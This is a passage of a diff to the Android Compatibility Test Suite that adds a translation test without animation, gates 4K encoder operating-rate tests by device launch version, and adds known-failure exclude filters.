-            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+            if (scanResults == null || scanResults.isEmpty()) continue;
             for (ScanResult scanResult : scanResults) {
                 WifiConfiguration matchingNetwork = savedNetworks.stream()
                         .filter(network -> TextUtils.equals(
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 34ceb72..ca3c8ca 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE;
 import static android.content.Context.TRANSLATION_MANAGER_SERVICE;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_PAUSE;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_RESUME;
@@ -39,6 +40,7 @@
 
 import android.app.PendingIntent;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.icu.util.ULocale;
@@ -79,6 +81,7 @@
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -240,6 +243,60 @@
     }
 
     @Test
+    public void testUiTranslationWithoutAnimation() throws Throwable {
+        final float[] originalAnimationDurationScale = new float[1];
+        try {
+            // Disable animation
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                ContentResolver resolver =
+                        ApplicationProvider.getApplicationContext().getContentResolver();
+                originalAnimationDurationScale[0] =
+                        Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+                Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+            });
+
+            final Pair<List<AutofillId>, ContentCaptureContext> result =
+                    enableServicesAndStartActivityForTranslation();
+
+            final CharSequence originalText = mTextView.getText();
+            final List<AutofillId> views = result.first;
+            final ContentCaptureContext contentCaptureContext = result.second;
+
+            final String translatedText = "success";
+            final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE,
+                    SimpleActivity.HELLO_TEXT_ID);
+            assertThat(helloText).isNotNull();
+            // Set response
+            final TranslationResponse response =
+                    createViewsTranslationResponse(views, translatedText);
+            sTranslationReplier.addResponse(response);
+
+            startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            pauseUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(originalText.toString());
+
+            resumeUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            finishUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(originalText.toString());
+        } finally {
+            // restore animation
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                Settings.Global.putFloat(
+                        ApplicationProvider.getApplicationContext().getContentResolver(),
+                        ANIMATOR_DURATION_SCALE, originalAnimationDurationScale[0]);
+            });
+        }
+    }
+
+    @Test
     public void testPauseUiTranslationThenStartUiTranslation() throws Throwable {
         final Pair<List<AutofillId>, ContentCaptureContext> result =
                 enableServicesAndStartActivityForTranslation();
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 18a59ab..5bd4d68 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
index d95e069..1c4e6d8 100644
--- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
@@ -121,6 +121,17 @@
             if (mMaxOpRateScalingFactor < 1.0f) {
                 mOperatingRateExpected = operatingRateToSet;
             }
+
+            if (EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K) {
+                int width = mEncoderFormat.getInteger(MediaFormat.KEY_WIDTH);
+                int height = mEncoderFormat.getInteger(MediaFormat.KEY_HEIGHT);
+                if (width >= 3840 && height >= 2160) {
+                    assumeTrue("For devices launched with Android R and below, operating rate " +
+                            "tests are limited to operating rate <= 0 or >= 30 for 4k and" +
+                            " above", operatingRateToSet <= 0 || operatingRateToSet >= 30);
+                }
+            }
+
             mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
             mEncoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
         } else if (mMaxOpRateScalingFactor < 0.0f) {
diff --git a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
index 5a34fce..0d49b59 100644
--- a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
@@ -58,6 +58,10 @@
     // resolutions that are less than half of max supported frame sizes of encoder.
     static final boolean EXCLUDE_ENCODER_MAX_RESOLUTION;
 
+    // Some older devices can not support concurrent instances of both decoder and encoder
+    // for operating rates > 0 and < 30 for resolutions 4k
+    static final boolean EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K;
+
     static final String mInputPrefix = WorkDir.getMediaDirString();
 
     ArrayList<MediaCodec.BufferInfo> mBufferInfos;
@@ -100,6 +104,12 @@
 
         // Encoders on devices launched on Android Q and lower aren't tested at maximum resolution
         EXCLUDE_ENCODER_MAX_RESOLUTION = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q;
+
+        // Encoders on devices launched on Android R and lower aren't tested when operating rate
+        // that is set is > 0 and < 30 for resolution 4k.
+        // This includes devices launched on Android S with R or lower vendor partition.
+        EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K =
+            !IS_AT_LEAST_VNDK_S || (DEVICE_INITIAL_SDK <= Build.VERSION_CODES.R);
     }
 
     @Before
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index b1bb5e0..3db9e6f 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -46,7 +46,7 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox gcatbox
+LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox gcatbox ats
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
 
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 3c0b126..d43d828 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -247,6 +247,21 @@
 
     <!-- b/204721335 -->
     <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_onWindowLayoutChangeListener" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_getWindowLayoutInfo" />
+
+    <!-- b/209382234 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-work-profile] android.devicepolicy.cts.KeyManagementTest" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-secondary-user] android.devicepolicy.cts.KeyManagementTest" />
+
+    <!-- b/203177211 -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
+
+  <!-- b/182630972, b/214019488 -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" />
+
+    <!-- b/205492302 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testSetCameraDisabled" />
 
     <!-- b/209382234 -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 9ddd8b1..d07400f 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -102,5 +102,9 @@
     <!-- b/203177211 -->
     <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
 
+    <!-- b/212223944 -->
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_30ms" />
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_100ms" />
+
 
 </configuration>